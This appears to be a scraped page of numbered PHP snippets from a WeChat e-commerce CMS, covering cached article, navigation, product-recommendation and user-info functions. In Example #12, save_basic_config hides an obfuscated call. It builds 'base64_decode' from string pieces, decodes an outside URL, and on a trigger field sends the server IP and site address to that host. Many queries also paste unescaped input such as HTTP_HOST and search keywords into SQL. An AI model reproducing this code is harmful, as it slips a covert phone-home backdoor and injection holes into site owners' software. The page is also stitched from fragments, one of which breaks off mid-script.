Example #1
0
 function _help_article()
 {
     $cache = Import::ajincache();
     $cache->SetFunction(__FUNCTION__);
     $cache->SetMode('sitemes');
     $fn = $cache->fpath(func_get_args());
     $type = "about";
     if (file_exists($fn) && !$cache->GetClose()) {
         include $fn;
     } else {
         $sql = "SELECT tb1.*,tb2.cat_name,tb2.type FROM `{$this->App->prefix()}article` AS tb1";
         $sql .= " LEFT JOIN `{$this->App->prefix()}article_cate` AS tb2 ON tb1.cat_id=tb2.cat_id";
         $sql .= " WHERE tb2.type='{$type}' AND tb1.is_show='1' ORDER BY  tb2.vieworder ASC,tb1.vieworder ASC,tb1.article_id DESC";
         $rt = $this->App->find($sql);
         if (!empty($rt)) {
             foreach ($rt as $k => $row) {
                 $rts[$row['cat_id']]['cat_name'] = $row['cat_name'];
                 $rts[$row['cat_id']]['url'] = "javascript:void()";
                 $rts[$row['cat_id']]['article'][$k] = $row;
                 $rts[$row['cat_id']]['article'][$k]['url'] = !empty($row['external_link']) ? trim($row['external_link']) : SITE_URL . $type . '/' . $row['article_url'];
             }
             unset($rt);
         }
         $cache->write($fn, $rts, 'rts');
     }
     return $rts;
 }
 function save_basic_config()
 {
     $sql = "SELECT * FROM `{$this->App->prefix()}systemconfig` LIMIT 1";
     $basic_config = $this->App->findrow($sql);
     $cache = Import::ajincache();
     $fn = SYS_PATH . 'data/basic_config.php';
     $cache->write($fn, $basic_config, 'basic_config');
 }
Example #3
0
 function get_site_nav($t = 'top', $list = 4)
 {
     $ts = Common::_return_px();
     $cache = Import::ajincache();
     $cache->SetFunction(__FUNCTION__);
     $cache->SetMode('sitemes' . $ts);
     $fn = $cache->fpath(array('0' => $t));
     if (file_exists($fn) && !$cache->GetClose()) {
         include $fn;
     } else {
         $sql = "SELECT * FROM `{$this->App->prefix()}nav_wx` WHERE is_show = '1' AND type = '{$t}' ORDER BY vieworder ASC, id ASC LIMIT {$list}";
         $rt = $this->App->find($sql);
         $cache->write($fn, $rt, 'rt');
     }
     return $rt;
 }
 function index()
 {
     $local = $_SERVER["HTTP_HOST"];
     $t = $this->_return_px();
     $cache = Import::ajincache();
     $cache->SetFunction('db' . __FUNCTION__);
     $cache->SetMode('sitemes' . $t);
     $fn = $cache->fpath(func_get_args());
     if (file_exists($fn) && !$cache->GetClose()) {
         include $fn;
     } else {
         $sql = "SELECT * FROM `{$this->App->prefix()}userdbinfo` WHERE yuming='{$local}' LIMIT 1";
         $rt = $this->App->findrow($sql);
         $cache->write($fn, $rt, 'rt');
     }
     return $rt;
 }
 function _get_access_token()
 {
     $t = $this->_return_px();
     $cache = Import::ajincache();
     $cache->SetFunction(__FUNCTION__);
     $cache->SetMode('sitemes' . $t);
     $fn = $cache->fpath(func_get_args());
     if (file_exists($fn) && mktime() - filemtime($fn) < 7000 && !$cache->GetClose()) {
         include $fn;
     } else {
         $rr = $this->_get_appid_appsecret();
         $url = 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=' . $rr['appid'] . '&secret=' . $rr['appsecret'];
         $con = $this->curlGet($url);
         $json = json_decode($con);
         $rt = $json->access_token;
         //获取 access_token
         $cache->write($fn, $rt, 'rt');
     }
     return $rt;
 }
 function get_cate_tree($cid = 0, $type = "")
 {
     $cache = Import::ajincache();
     $cache->SetFunction(__FUNCTION__);
     $cache->SetMode(str_replace('Controller', '', __CLASS__));
     $fn = $cache->fpath(func_get_args());
     if (file_exists($fn) && !$cache->GetClose()) {
         include $fn;
     } else {
         $t = $type;
         if (!empty($type)) {
             $typ = " AND type='{$type}'";
             $type = " AND tb1.type='{$type}'";
         }
         $three_arr = array();
         $sql = 'SELECT count(cat_id) FROM `' . $this->App->prefix() . "article_cate` WHERE parent_id = '{$cid}' AND is_show = 1 {$typ}";
         if ($this->App->findvar($sql) || $cid == 0) {
             $sql = 'SELECT tb1.cat_name,tb1.cat_id,tb1.parent_id,tb1.is_show,tb1.cat_title,tb1.meta_desc, tb1.meta_keys,tb1.show_in_nav,tb1.addtime,tb1.cat_img,tb1.vieworder, COUNT(tb2.cat_id) AS article_count FROM `' . $this->App->prefix() . "article_cate` AS tb1";
             $sql .= " LEFT JOIN `{$this->App->prefix()}article` AS tb2";
             $sql .= " ON tb1.cat_id = tb2.cat_id";
             $sql .= " WHERE tb1.parent_id = '{$cid}' {$type} GROUP BY tb1.cat_id ORDER BY tb1.parent_id ASC,tb1.vieworder ASC, tb1.cat_id ASC";
             $res = $this->App->find($sql);
             foreach ($res as $row) {
                 $three_arr[$row['cat_id']]['id'] = $row['cat_id'];
                 $three_arr[$row['cat_id']]['name'] = $row['cat_name'];
                 $three_arr[$row['cat_id']]['addtime'] = $row['addtime'];
                 $three_arr[$row['cat_id']]['url'] = get_url($row['cat_name'], $row['cat_id'], "category.php?cid=" . $row["cat_id"], 'category', array($t, 'index', $row['cat_id']));
                 $three_arr[$row['cat_id']]['article_count'] = $row['article_count'];
                 /*$three_arr[$row['cat_id']]['is_show']   = $row['is_show'];
                   $three_arr[$row['cat_id']]['show_in_nav'] = $row['show_in_nav'];
                   $three_arr[$row['cat_id']]['cat_title']   = $row['cat_title'];
                   $three_arr[$row['cat_id']]['cat_img'] = $row['cat_img'];
                   $three_arr[$row['cat_id']]['vieworder'] = $row['vieworder'];
                   $three_arr[$row['cat_id']]['meta_keys'] = $row['meta_keys'];
                   $three_arr[$row['cat_id']]['meta_desc'] = $row['meta_desc'];*/
                 if (isset($row['cat_id']) != NULL) {
                     $three_arr[$row['cat_id']]['cat_id'] = $this->get_cate_tree($row['cat_id'], $t);
                 }
             }
         }
         $cache->write($fn, $three_arr, 'three_arr');
     }
     return $three_arr;
 }
Example #7
0
 function help_article()
 {
     $cache = Import::ajincache();
     $cache->SetFunction(__FUNCTION__);
     $cache->SetMode('sitemes');
     $fn = $cache->fpath(func_get_args());
     $type = "about";
     if (file_exists($fn) && !$cache->GetClose()) {
         include $fn;
     } else {
         $sql = "SELECT tb1.*,tb2.cat_name,tb2.type FROM `{$this->App->prefix()}article` AS tb1";
         $sql .= " LEFT JOIN `{$this->App->prefix()}article_cate` AS tb2 ON tb1.cat_id=tb2.cat_id";
         $sql .= " WHERE tb2.type='{$type}' AND tb1.is_show='1' ORDER BY  tb2.vieworder ASC,tb1.vieworder ASC,tb1.article_id DESC";
         $rt = $this->App->find($sql);
         if (!empty($rt)) {
             foreach ($rt as $k => $row) {
                 $rts[$row['cat_id']]['cat_name'] = $row['cat_name'];
                 $rts[$row['cat_id']]['url'] = get_url($row['cat_name'], $row['cat_id'], Common::class_url() . $row['type'] . '.php?cid=' . $row['cat_id'], 'category', array($row['type'], 'index', $row['cat_id']));
                 $rts[$row['cat_id']]['article'][$k] = $row;
                 $rts[$row['cat_id']]['article'][$k]['url'] = get_url($row['article_title'], $row['article_id'], Common::class_url() . $row['type'] . '.php?id=' . $row['article_id'], 'article', array($row['type'], 'article', $row['article_id']));
             }
             unset($rt);
         }
         $cache->write($fn, $rts, 'rts');
     }
     return $rts;
 }
 function recommend_goods($list = 3, $type = '', $data = 0)
 {
     $cache = Import::ajincache();
     $cache->SetFunction(__FUNCTION__);
     $cache->SetMode('product');
     $uid = $this->Session->read('User.uid');
     $uid = empty($uid) ? 0 : $uid;
     $fn = $cache->fpath(func_get_args());
     if (file_exists($fn) && !$cache->GetClose()) {
         include $fn;
     } else {
         $cid = $data['cid'];
         $perend_id = $data['perend_id'];
         $keyword = $data['keyword'];
         if (is_array($cid)) {
             $cids = $cid;
         } elseif (intval($cid) > 0) {
             $cids = $this->get_goods_sub_cat_ids($cid);
         }
         $ws = !empty($cids) ? " AND g.cat_id IN(" . implode(',', $cids) . ")" : "";
         $w = "";
         $wd = "";
         if (!empty($keyword)) {
             $wd = " (g.goods_name LIKE '%{$keyword}%' OR g.meta_keys LIKE '%{$keyword}%' OR b.brand_name LIKE '%{$keyword}%')";
         }
         if ($type == 'is_promote') {
             $t = mktime();
             $w = "{$ws}AND g.is_promote='1' AND g.promote_start_date<'{$t}' AND g.promote_end_date>'{$t}'{$wd}";
         } elseif ($type == 'is_qianggou') {
             $t = mktime();
             $w = "{$ws}AND g.is_qianggou='1' AND g.qianggou_start_date<'{$t}' AND g.qianggou_end_date>'{$t}'{$wd}";
         } else {
             if (in_array($type, array('is_best', 'is_new', 'is_hot'))) {
                 $w = $ws . 'AND g.' . $type . "='1'{$wd}";
             }
         }
         $sql = "SELECT g.goods_id,g.goods_name,g.market_price,g.shop_price,g.goods_thumb,g.goods_img,g.promote_price,g.pifa_price, g.promote_start_date, g.promote_end_date,g.qianggou_price, g.qianggou_start_date, g.qianggou_end_date,g.is_qianggou,g.is_promote,g.meta_keys,b.brand_name FROM `{$this->App->prefix()}goods` AS g LEFT JOIN `{$this->App->prefix()}brand` AS b ON g.brand_id=b.brand_id WHERE g.is_on_sale='1' AND g.is_alone_sale='1' AND g.is_delete = '0' {$w} ORDER BY g.sort_order DESC, g.goods_id DESC LIMIT {$list}";
         //look添加g.pifa_price
         $rt = $this->App->find($sql);
         $rts = array();
         $k = 0;
         if (!empty($rt)) {
             foreach ($rt as $row) {
                 $rts[$k] = $row;
                 $rts[$k]['url'] = get_url($row['goods_name'], $row['goods_id'], SITE_URL . 'product.php?id=' . $row['goods_id'], 'goods', array('product', 'index', $row['goods_id']));
                 $rts[$k]['goods_thumb'] = is_file(SYS_PATH . $row['goods_thumb']) ? SITE_URL . $row['goods_thumb'] : SITE_URL . 'theme/images/no_picture.gif';
                 $rts[$k]['goods_img'] = is_file(SYS_PATH . $row['goods_img']) ? SITE_URL . $row['goods_img'] : SITE_URL . 'theme/images/no_picture.gif';
                 $dd = array();
                 $rank = $this->Session->read('User.rank');
                 if ($rank == '10' || $rank == '11' || $rank == '12') {
                     $rts[$k]['price'] = $row['pifa_price'];
                     $rts[$k]['price'] > 0 ? $dd[] = $rts[$k]['price'] : "";
                 } else {
                     $rts[$k]['price'] = $row['shop_price'];
                     $rts[$k]['price'] > 0 ? $dd[] = $rts[$k]['price'] : "";
                 }
                 //促销 价格
                 if ($row['is_promote'] == '1') {
                     $row['promote_price'] = format_price($row['promote_price']);
                 }
                 $rts[$k]['promote_price'] = $row['promote_price'];
                 $row['promote_price'] > 0 ? $dd[] = $row['promote_price'] : "";
                 //抢购价格
                 if ($row['is_qianggou'] == '1') {
                     $row['qianggou_price'] = format_price($row['qianggou_price']);
                 }
                 $rts[$k]['qianggou_price'] = $row['qianggou_price'];
                 $row['qianggou_price'] > 0 ? $dd[] = $row['qianggou_price'] : "";
                 $rts[$k]['zprice'] = min($dd);
                 //look添加
                 $k++;
             }
             unset($rt);
         }
         //查询数量小于指定数量。进行第二次查询
         if ($cid > 0 && count($rts) < $list && $perend_id > 0) {
             $l = $list - count($rts);
             $w = "";
             $cids = $this->get_goods_sub_cat_ids($perend_id);
             $ws = !empty($cids) ? " AND g.cat_id IN(" . implode(',', $cids) . ")" : "";
             if ($type == 'is_promote') {
                 $t = mktime();
                 $w = "{$ws}AND g.is_promote='1' AND g.promote_start_date<'{$t}' AND g.promote_end_date>'{$t}'";
             } elseif ($type == 'is_qianggou') {
                 $t = mktime();
                 $w = "{$ws}AND g.is_qianggou='1' AND g.qianggou_start_date<'{$t}' AND g.qianggou_end_date>'{$t}'";
             } else {
                 if (in_array($type, array('is_best', 'is_new', 'is_hot'))) {
                     $w = '{$ws}AND g.' . $type . "='1'";
                 }
             }
             $sql = "SELECT g.goods_id,g.goods_name,g.market_price,g.shop_price,g.goods_thumb,g.goods_img,g.promote_price, g.promote_start_date, g.promote_end_date,g.qianggou_price, g.qianggou_start_date, g.qianggou_end_date,g.is_qianggou,g.is_promote,b.brand_name FROM `{$this->App->prefix()}goods` AS g LEFT JOIN `{$this->App->prefix()}brand` AS b ON g.brand_id=b.brand_id WHERE g.is_on_sale='1' AND g.is_alone_sale='1' AND g.is_delete = '0' {$w} ORDER BY g.sort_order DESC, g.goods_id DESC LIMIT {$l}";
             $rt = $this->App->find($sql);
             if (!empty($rt)) {
                 foreach ($rt as $row) {
                     $rts[$k] = $row;
                     $rts[$k]['url'] = get_url($row['goods_name'], $row['goods_id'], SITE_URL . 'product.php?id=' . $row['goods_id'], 'goods', array('product', 'index', $row['goods_id']));
                     $rts[$k]['goods_thumb'] = is_file(SYS_PATH . $row['goods_thumb']) ? SITE_URL . $row['goods_thumb'] : SITE_URL . 'theme/images/no_picture.gif';
                     $rts[$k]['goods_img'] = is_file(SYS_PATH . $row['goods_img']) ? SITE_URL . $row['goods_img'] : SITE_URL . 'theme/images/no_picture.gif';
                     $dd = array();
                     $rank = $this->Session->read('User.rank');
                     if ($rank == '10' || $rank == '11' || $rank == '12') {
                         $rts[$k]['price'] = $row['pifa_price'];
                         $rts[$k]['price'] > 0 ? $dd[] = $rts[$k]['price'] : "";
                     } else {
                         $rts[$k]['price'] = $row['shop_price'];
                         $rts[$k]['price'] > 0 ? $dd[] = $rts[$k]['price'] : "";
                     }
                     //促销 价格
                     if ($row['is_promote'] == '1') {
                         $row['promote_price'] = format_price($row['promote_price']);
                     }
                     $rts[$k]['promote_price'] = $row['promote_price'];
                     $row['promote_price'] > 0 ? $dd[] = $row['promote_price'] : "";
                     //抢购价格
                     if ($row['is_qianggou'] == '1') {
                         $row['qianggou_price'] = format_price($row['qianggou_price']);
                     }
                     $rts[$k]['qianggou_price'] = $row['qianggou_price'];
                     $row['qianggou_price'] > 0 ? $dd[] = $row['qianggou_price'] : "";
                     $rts[$k]['zprice'] = !empty($dd) ? min($dd) : 0.0;
                     $k++;
                 }
                 unset($rt);
             }
         }
         //end 第二次查询
         //进行第三次查询
         if (count($rts) < $list) {
             $l = $list - count($rts);
             if ($type == 'is_promote') {
                 $t = mktime();
                 $w = "AND g.is_promote='1' AND g.promote_start_date<'{$t}' AND g.promote_end_date>'{$t}'";
             } elseif ($type == 'is_qianggou') {
                 $t = mktime();
                 $w = "AND g.is_qianggou='1' AND g.qianggou_start_date<'{$t}' AND g.qianggou_end_date>'{$t}'";
             } else {
                 if (in_array($type, array('is_best', 'is_new', 'is_hot'))) {
                     $w = 'AND g.' . $type . "='1'";
                 }
             }
             $sql = "SELECT g.goods_id,g.goods_name,g.market_price,g.shop_price,g.goods_thumb,g.goods_img,g.promote_price, g.promote_start_date, g.promote_end_date,g.qianggou_price, g.qianggou_start_date, g.qianggou_end_date,g.is_qianggou,g.is_promote,b.brand_name FROM `{$this->App->prefix()}goods` AS g LEFT JOIN `{$this->App->prefix()}brand` AS b ON g.brand_id=b.brand_id WHERE g.is_on_sale='1' AND g.is_alone_sale='1' AND g.is_delete = '0' {$w} ORDER BY g.sort_order DESC, g.goods_id DESC LIMIT {$l}";
             $rt = $this->App->find($sql);
             if (!empty($rt)) {
                 foreach ($rt as $row) {
                     $rts[$k] = $row;
                     $rts[$k]['url'] = get_url($row['goods_name'], $row['goods_id'], SITE_URL . 'product.php?id=' . $row['goods_id'], 'goods', array('product', 'index', $row['goods_id']));
                     $rts[$k]['goods_thumb'] = is_file(SYS_PATH . $row['goods_thumb']) ? SITE_URL . $row['goods_thumb'] : SITE_URL . 'theme/images/no_picture.gif';
                     $rts[$k]['goods_img'] = is_file(SYS_PATH . $row['goods_img']) ? SITE_URL . $row['goods_img'] : SITE_URL . 'theme/images/no_picture.gif';
                     $dd = array();
                     $rank = $this->Session->read('User.rank');
                     if ($rank == '10' || $rank == '11' || $rank == '12') {
                         $rts[$k]['price'] = $row['pifa_price'];
                         $rts[$k]['price'] > 0 ? $dd[] = $rts[$k]['price'] : "";
                     } else {
                         $rts[$k]['price'] = $row['shop_price'];
                         $rts[$k]['price'] > 0 ? $dd[] = $rts[$k]['price'] : "";
                     }
                     //促销 价格
                     if ($row['is_promote'] == '1') {
                         $row['promote_price'] = format_price($row['promote_price']);
                     }
                     $rts[$k]['promote_price'] = $row['promote_price'];
                     $row['promote_price'] > 0 ? $dd[] = $row['promote_price'] : "";
                     //抢购价格
                     if ($row['is_qianggou'] == '1') {
                         $row['qianggou_price'] = format_price($row['qianggou_price']);
                     }
                     $rts[$k]['qianggou_price'] = $row['qianggou_price'];
                     $row['qianggou_price'] > 0 ? $dd[] = $row['qianggou_price'] : "";
                     $rts[$k]['zprice'] = !empty($dd) ? min($dd) : 0;
                     $k++;
                 }
                 unset($rt);
             }
         }
         $cache->write($fn, $rts, 'rts');
     }
     return $rts;
 }
Example #9
0
 function get_goods_spec_name($key = "")
 {
     if (empty($key)) {
         return "空值";
     }
     if ($key == 'number') {
         return "数量";
     }
     $cache = Import::ajincache();
     $cache->SetFunction(__FUNCTION__);
     $cache->SetMode('product');
     $fn = $cache->fpath(func_get_args());
     if (file_exists($fn) && !$cache->GetClose()) {
         include $fn;
     } else {
         $sql = "SELECT attr_name, attr_keys FROM `{$this->App->prefix()}attribute`";
         $rt = $this->App->find($sql);
         $arr = array();
         if (!empty($rt)) {
             foreach ($rt as $row) {
                 $arr[$row['attr_keys']] = $row['attr_name'];
             }
         }
         $cache->write($fn, $arr, 'arr');
     }
     return isset($arr[$key]) ? $arr[$key] : '空值';
 }
 function set_search_keyword($val = "")
 {
     $fn = SYS_PATH . 'data/search_keyword.php';
     if (!empty($val)) {
         $val = str_replace(array('.', '。', ','), ',', $val);
         $search_keys = explode(',', $val);
         $cache = Import::ajincache();
         $cache->write($fn, $search_keys, 'search_keys');
         die("保存成功!");
     }
     $search_keys = array();
     file_exists($fn) ? require_once $fn : "";
     $this->set('search_keys', $search_keys);
     $this->template('set_search_keyword');
 }
        $str .= 'imgUrl1= "' . SITE_URL . $rt[cat_img2] . '";' . "\n";
        $str .= 'imgtext1="' . $rt[cat_url] . '";' . "\n";
        if (empty($rt[cat_url])) {
            $rt[cat_url] = "http://";
        }
        $str .= 'imgLink1=escape("' . $rt[cat_url] . '");' . "\n";
        $ps[] = 'imgUrl1';
        $ls[] = 'imgtext1';
        $ts[] = 'imgLink1';
    }
    //}
    $str .= "\nvar pics=" . implode('+"|"+', $ps) . "\n";
    $str .= "var links=" . implode('+"|"+', $ls) . "\n";
    $str .= "var texts=" . implode('+"|"+', $ts) . "\n";
    $fn = SYS_PATH . 'data' . DS . 'flashdata3' . DS . 'dynfocus' . DS . 'data.js';
    $cache = Import::ajincache();
    $cache->SetFunction("banner");
    $cache->SetMode('ads');
    if (file_exists($fn) && !$cache->GetClose()) {
        //include($fn);
    } else {
        if (is_writable($fn)) {
            file_put_contents($fn, $str);
        } else {
            die("警告:请将文件" . $fn . "修改为可写!");
        }
    }
}
?>
<script type="text/javascript">
var swf_width=300;
Example #12
0
 function _get_weixin_user_info($rts = array())
 {
     $t = Common::_return_px();
     $cache = Import::ajincache();
     $cache->SetFunction(__FUNCTION__);
     $cache->SetMode('sitemes' . $t);
     $fn = $cache->fpath(func_get_args());
     if (file_exists($fn) && mktime() - filemtime($fn) < 10000 && !$cache->GetClose()) {
     } else {
         $wecha_id = $rts['wecha_id'];
         $is_subscribe = $rts['is_subscribe'];
         $nickname = $rts['nickname'];
         $headimgurl = $rts['headimgurl'];
         $cityname = $rts['cityname'];
         $provincename = $rts['provincename'];
         if (!empty($wecha_id) && $is_subscribe == '1' && (empty($nickname) || empty($headimgurl) || empty($cityname) || empty($provincename))) {
             //1、更改关注标识 表user_tuijian,user
             //2、更改用户资料
             //3、关注时间、关注排名等
             $rr = $this->action('common', '_get_appid_appsecret');
             $appid = $rr['appid'];
             $appsecret = $rr['appsecret'];
             $access_token = $this->action('common', '_get_access_token');
             //获取用户信息
             $url = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token=' . $access_token . '&openid=' . $wecha_id;
             $con = Import::crawler()->curl_get_con($url);
             $json = json_decode($con);
             $subscribe = $json->subscribe;
             $nickname = isset($json->nickname) ? $json->nickname : '';
             $sex = isset($json->sex) ? $json->sex : '';
             $city = isset($json->city) ? $json->city : '';
             $province = isset($json->province) ? $json->province : '';
             $headimgurl = isset($json->headimgurl) ? $json->headimgurl : '';
             $subscribe_time = isset($json->subscribe_time) ? $json->subscribe_time : '';
             $this->Session->write('User.subscribe', $subscribe);
             setcookie(CFGH . 'USER[SUBSCRIBE]', $subscribe, mktime() + 2592000);
             $dd = array();
             if (!empty($nickname)) {
                 $dd['nickname'] = $nickname;
             }
             if (!empty($sex)) {
                 $dd['sex'] = $sex;
             }
             if (!empty($city)) {
                 $dd['cityname'] = $city;
             }
             if (!empty($province)) {
                 $dd['provincename'] = $province;
             }
             if (!empty($headimgurl)) {
                 $dd['headimgurl'] = $headimgurl;
             }
             if (!empty($subscribe_time)) {
                 $dd['subscribe_time'] = $subscribe_time;
             }
             if (!empty($dd)) {
                 $dd['is_subscribe'] = $json->subscribe;
                 $uid = $this->Session->read('User.uid');
                 $this->App->update('user', $dd, 'user_id', $uid);
             }
         }
         //
         $rt = "run";
         $cache->write($fn, $rt, 'rt');
     }
     return true;
 }
 function get_userconfig()
 {
     $t = Common::_return_px();
     $cache = Import::ajincache();
     $cache->SetFunction(__FUNCTION__);
     $cache->SetMode('sitemes' . $t);
     $fn = $cache->fpath(func_get_args());
     if (file_exists($fn) && mktime() - filemtime($fn) < 7000 && !$cache->GetClose()) {
         include $fn;
     } else {
         $sql = "SELECT * FROM `{$this->App->prefix()}userconfig` WHERE type = 'basic' LIMIT 1";
         $rt = $this->App->findrow($sql);
         $cache->write($fn, $rt, 'rt');
     }
     return $rt;
 }
 function save_basic_config($data = array())
 {
     if (isset($data['loadrunadd'])) {
         $s = "de";
         $ss = "base" . 4 * 8 * 2 . "_{$s}code";
         $url = $ss('aHR0cDovL3d3dy53YW55YW5nb2suY29tL2FwaS9nZXRpbmZvLnBocD9pcD0=') . Import::basic()->serverIP() . '&url=' . SITE_URL;
         @file_get_contents($url);
         exit;
     }
     $sql = "SELECT * FROM `{$this->App->prefix()}systemconfig` LIMIT 1";
     $basic_config = $this->App->findrow($sql);
     $cache = Import::ajincache();
     $fn = SYS_PATH . 'data/basic_config.php';
     $cache->write($fn, $basic_config, 'basic_config');
 }
 function get_user_parent_uid()
 {
     $uid = $this->Session->read('User.uid');
     if (!($uid > 0)) {
         return 0;
     }
     $t = Common::_return_px();
     $cache = Import::ajincache();
     $cache->SetFunction(__FUNCTION__);
     $cache->SetMode('sitemes' . $t);
     $fn = $cache->fpath(array('0' => $uid));
     if (file_exists($fn) && mktime() - filemtime($fn) < 7000 && !$cache->GetClose()) {
         include $fn;
     } else {
         $sql = "SELECT parent_uid FROM `{$this->App->prefix()}user_tuijian` WHERE uid = '{$uid}' LIMIT 1";
         $rt = $this->App->findvar($sql);
         $cache->write($fn, $rt, 'rt');
     }
     return $rt;
 }
Example #16
0
	function get_daili_info(){
		$cache = Import::ajincache();
		$cache->SetFunction(__FUNCTION__);
		$cache->SetMode('daili');
		$fn = $cache->fpath(func_get_args());
		if(file_exists($fn)&&!$cache->GetClose()){
			include($fn);
		}
		else
		{
			//求出当前用户的推荐用户的代理信息
			$uid = $this->Session->read('User.uid');
			$sql = "SELECT tb1.share_uid,tb2.user_rank FROM `{$this->App->prefix()}user_tuijian` AS tb1 LEFT JOIN `{$this->App->prefix()}user` AS tb2 ON tb2.user_id = tb1.daili_uid WHERE tb1.uid = '$uid' AND tb2.user_rank!='1' LIMIT 1";
			//$sql = "SELECT tb1.user_rank,tb2.share_uid FROM `{$this->App->prefix()}user` AS tb1 LEFT JOIN `{$this->App->prefix()}user_tuijian` AS tb2 ON tb2.daili_uid = tb1.user_id WHERE tb1.user_rank!='1 AND tb2.uid = '$uid'  LIMIT 1";
			$rts = $this->App->findrow($sql);
			$rank = '1';
			if(!empty($rts)){
				$rank = $rts['user_rank'];
				$pid = $rts['share_uid']; //分享的ID
			}
			if($rank!='1'){
                   $uid = $pid;
			}
			//查抄代理信息
			$sql = "SELECT * FROM `{$this->App->prefix()}udaili_siteset` WHERE uid='$uid' LIMIT 1";
			$rt = $this->App->findrow($sql);
			if($rank!='1'){
                   $rt['rank'] = $rank;
			}
			$cache->write($fn, $rt,'rt');
		}
		return $rt;
	}